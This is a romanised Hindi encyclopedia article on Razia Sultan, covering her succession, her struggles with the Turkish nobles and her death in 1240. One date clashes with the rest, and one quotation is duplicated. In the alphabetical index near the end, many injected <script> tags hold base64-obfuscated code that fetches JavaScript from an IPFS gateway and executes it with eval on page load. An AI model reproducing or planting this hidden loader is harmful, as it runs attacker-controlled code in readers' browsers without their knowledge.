रज़िया सुल्तान

[[chitr:Grave-Of-Raziya-Sultan.jpg|thumb|250px|raziya sultan ki qabr, kaithal]] raziya ka poora nam-raziya alh-din (1205– aktoobar 14/15, 1240), sultan jalalat ud-din raziya tha. vah iltutamish ki putri tatha bharat ki pahali muslim shasika thi.

chitr:Seealso.gifraziya sultan ka ullekh in lekhoan mean bhi hai: iltutamish, rukunuddin firozashah, gayasuddin balaban, muizuddin baharamashah, gulam vansh evan raziya sultan ki qabr

raziya ko uttaradhikar

apane aantim dinoan mean iltutamish apane uttaradhikar ke saval ko lekar chintit tha. iltutamish ke sabase b de putr nasirooddin mahamood ki, jo apane pita ke pratinidhi ke roop mean bangal par shasan kar raha tha, 1229 ee. ko aprail mean mrityu ho gee. sultan ke shesh jivit putr shasan kary ke kisi bhi prakar se yogy nahian the. at: iltutamish ne apani mrityu shaiyya par se apani putri raziya ko apana uttaradhikari niyukt kiya. usane apane saradaroan aur ulmaoan ko is bat ke lie razi kiya. yadyapi striyoan ne prachin misr aur eeran mean raniyoan ke roop mean shasan kiya tha aur isake alava shasak rajakumaroan ke chhote hone ke karan rajy ka karobar sambhala tha, tathapi is prakar putroan ke hote hue sianhasan ke lie stri ko chunana ek naya qadam tha.

saradaroan ki manamani

iltutamish ke is faisale se usake darabar ke saradar aprasann the. ve ek stri ke samaksh natamastak hona apane aanhakar ke viruddh samajhate the. un logoan ne mritak sultan ki ichchhaoan ka ullaghann karake usake sabase b de putr rukunuddin firozashah ko, jo apane pita ke jivan kal mean badayooan tatha kuchh varsh bad lahaur ka shasak rah chuka tha, sianhasan par baitha diya. yah chunav durbhagyapoorn tha. rukunuddin shasan ke bilkul ayogy tha. vah nich ruchi ka tha. vah rajakary ki upeksha karata tha tatha rajy ke dhan ka apavyay karata tha. usaki maan shah turkhan ke, jo ek nimn udabhav^[1] ki mahattvakaankshapoorn mahila thi, karyoan se batean big dati hi ja rahi thian. usane sari shakti ko apane adhikar mean kar liya, jabaki usaka putr rukanuddin bhog-vilas mean hi dooba rahata tha. sare rajy mean g dab di phail gee. badayooan, multan, haansi, lahaur, avadh evan bangal mean kendriy sarakar ke adhikar ka tiraskar hone laga. dilli ke saradaroan ne, jo rajamata ke anavashyak prabhav ke karan asantosh se ubal rahe the, use bandi bana liya tatha raziya ko dilli ke sianhasan par baitha diya. rukanuddin firoz ko, jisane lokhari mean sharan li thi, qaravas mean dal diya gaya. jahaan 1266 ee. mean 9 navambar ko usake jivan ka ant ho gaya.

amiroan se sangharsh

apani sthiti mazaboot karane ke lie raziya ko n keval apane sage bhaiyoan, balki shaktishali turki saradaroan ka bhi muqabala karana p da aur vah keval tin varshoan tak hi shasan kar saki. yadyapi usake shasan ki avadhi bahut kam thi, tathapi usake kee mahattvapoorn pahaloo the. raziya ke shasan ke sath hi samrat aur turki saradaroan, jinhean chahalagani (chalis) kaha jata hai, ke bich sangharsh prarambh ho gaya.

raziya ki chaturaee v kootaniti

yuvati begam ke samaksh koee kary sugam nahian tha. rajy ke vazir muhammad junaidi tatha kuchh any saradar ek stri ke shasan ko sah n sake aur unhoanne usake viruddh virodhiyoan ko jama kiya. parantu raziya mean shasan ke lie mahattvapoorn sabhi gunoan ka abhav nahian tha. usane chaturaee evan uchchatar kootaniti se shighr hi apane shatruoan ko parast kar diya. hindustan (uttari bharat) evan panjab par usaka adhikar sthapit ho gaya tatha bangal evan sindh ke sudooravarti prantoan ke shasakoan ne bhi usaka adhipaty svikar kar liya. is prakar jaisa ki minahajassiraj ne likha hai, lakhanauti se lekar deval tatha damarila tak sabhi malikoan evan amiroan ne usaki ajnakarita ko svikar kiya. raziya ke rajyakal ke arambh mean naruddin namak ek turk ke netritv mean kiramit aur ahamadiya namak sampradayoan ke katipay pakhandiyoan dvara upadrav karane ka sangathit prayas kiya gaya. unake ek hazar vyakti talavaroan aur dhaloan ke sath pahuanche aur b di masjid mean ek nishchit din ko pravesh kiya; parantu ve rajakiy sena dvara titar-bitar kar diye gaye tatha vidroh ek bhaddi asaphalata banakar rah gaya.

turkoan ka sangathan

chitr:Blockquote-open.gif samakalin muslim itihasakar minahajassiraj ne likha hai ki, "vah mahati samrajni chatur, nyayi, danashil, vidvanoan ki ashrayadayi, nyay vitaran karane vali, apani praja se sneh rakhanevali, yuddh kala mean pravin tatha rajaoan ke sabhi avashyak prashansaniy visheshanoan evan gunoan se sampann thi." vah svayan sena lekar shatruoan ke sammukh jati thi. striyoan ke vastr ko chho d tatha burke ka parityag kar vah jhilli pahanati thi tatha purush ka shirovastr dharan karati thi. vah khule darabar mean atyant yogyata ke sath shasan-kary ka sampadan karati thi. is prakar har sambhav tariqe se vah raja ka abhinay karane ka prayatn karati thi. chitr:Blockquote-close.gif

darshanikoan ke vichar

ibn batoota ka yah kahana galat hai ki abisiniyan ke prati usaka chav (lagav) aparadhatmak tha. samakalin muslim itihasakar minahaz ne is tarah ka koee arop nahian lagaya hai. vah keval itana hi likhata hai ki abisiniyan ne sultana ki seva kar (usaki) kripa prapt kar li^[2].

farishta ka usake khilaf ekamatr arop yah hai ki, abisiniyan aur begam ke bich atyadhik parichay dekha gaya, yahaan tak ki jab vah gho de par savar rahati thi, tab vah bahoan se use (rani ko) uthakar barabar gho de par bitha leta tha^[3].

jaisa ki mejar raivarti ne batalaya hai, t aaumas ne uchit karan n rahane par bhi is begam ke charitr par in shabdoan mean akshep kiya hai, yah bat nahian thi ki ek avivahita begam ko pyar karane ki manahi thi-vah kisi bhi ji-huzoor vale shahazade se shadi kar usake sath prem ke gote laga sakati thi, athava rajamahal ke haram (zananakhane) ke andhere kone mean qarib-qarib bina rokatham ke amod-pramod kar sakati thi; lekin rah chalate prem dikhalana ek galat disha ki or sanket kar raha tha aur is karan usane (begam ne) ek aise adami ko pasand kiya, jo ki usake darabar mean naukari kar raha tha tatha vah ek abisiniyan bhi tha. jisake prati dikhalaee gee kripaoan ka turki saradaroan ne ek svar se virodh kiya^[4].

altooniya se vivah

sabase pahale sarahind ke shasak ikhtiyaruddin altooniya ne khule taur par vidroh kiya, jise darabar ke kuchh saradar gupt roop se ubha d rahe the. begam ek b di sena lekar vidroh ka daman karane ke lie chali. kintu is yuddh mean vidrohi saradaroan ne yaqoot ko mar dala tatha begam ko qaid kar liya. vah ikhtiyaruddin altooniya ke sanrakshan mean rakh di gee. raziya ne altooniya se vivah karake is paristhiti se chhutakara pane ka prayatn kiya, parantu yah vyarth hi siddh hua. vah apane pati ke sath dilli ki or badhi. lekin kaithal ke nikat pahuanchakar altooniya ke samarthakoan ne usaka sath chho d diya tatha 13 aktoobar, 1240 ee. ko muizuddin baharam ne use parajit kar diya. doosare din raziya ki usake pati ke sath hatya kar di gee. is tarah tin varsh tatha kuchh mahinoan ke rajyakal ke bad kashtapoorvak raziya begam ke jivan ka ant ho gaya.

raziya ke gun

raziya mean adabhut gun the. farishta likhata hai ki, "vah shuddh uchcharan karake quran ka path karati thi tatha apane pita ke jivan kal mean shasan kary kiya karati thi." begam ki haisiyat se usane apane gunoan ko atyadhik vishishtata se pradarshit karane ka prayatn kiya. samakalin muslim itihasakar minahajussiraj ne likha hai ki, "vah mahati samrajni chatur, nyayi, danashil, vidvanoan ki ashrayadayi, nyay vitaran karane vali, apani praja se sneh rakhanevali, yuddh kala mean pravin tatha rajaoan ke sabhi avashyak prashansaniy visheshanoan evan gunoan se sampann thi." vah svayan sena lekar shatruoan ke sammukh jati thi. striyoan ke vastr ko chho d tatha burke ka parityag kar vah jhilli pahanati thi tatha purush ka shirovastr dharan karati thi. vah khule darabar mean atyant yogyata ke sath shasan-kary ka sampadan karati thi. is prakar har sambhav tariqe se vah raja ka abhinay karane ka prayatn karati thi. kintu ahankari turki saradar ek mahila ke shasan ko nahian sah sake. unhoanne ghrinit riti se usaka ant kar diya. raziya ke du:khad ant se yah spasht ho jata hai ki aandhavishvasoan par vijay prapt karana sadaiv zyada asan nahian hota.

raziya ke pashchat

raziya ki mrityu ke pashchath kuchh kal tak avyavastha evan g dab di phaili rahi. dilli ki gaddi par usake uttaradhikari muizuddin baharam tatha alauddin masood gunahin evan ayogy the tatha unake chh: varshoan ke shasanakal mean desh mean shanti evan sthirata ka nam bhi n raha. bahari akramanoan se hindustan (uttari bharat) ka du:kh aur bhi badh gaya. 1241 ee. mean mangol panjab ke madhy mean pahuanch ge tatha lahaur ka sundar nagar unake nirmam panje mean p d gaya. 1245 ee. mean ve uchch tak badh aye. lekin unaki b di kshati huee aur unhean pichhe hatana p da. masood shah ke shasanakal ke antim varshoan mean asantosh adhik prachand evan vistrit ho gaya. amiroan tatha malikoan ne 10 joon, 1246 ee. ko iltutamish ke ek kanishth putr nasirooddin mahamood ko sianhasan par baitha diya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ vah mool roop se ek turqi dasi thi
↑ raibarti, jild 1, prishth 642
↑ brigs, jild 1, prishth 220
↑ 'kr aaunikals aauf d pathan kiangs', prishth sankhya 106

bahari k diyaan

tang galiyoan mean gum ho gee raziya

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vah mool roop se ek turqi dasi thi

[2] raibarti, jild 1, prishth 642

[3] rigs, jild 1, prishth 220

[4] 'kr aaunikals aauf d pathan kiangs', prishth sankhya 106

[1]

[2]

[3]

[4]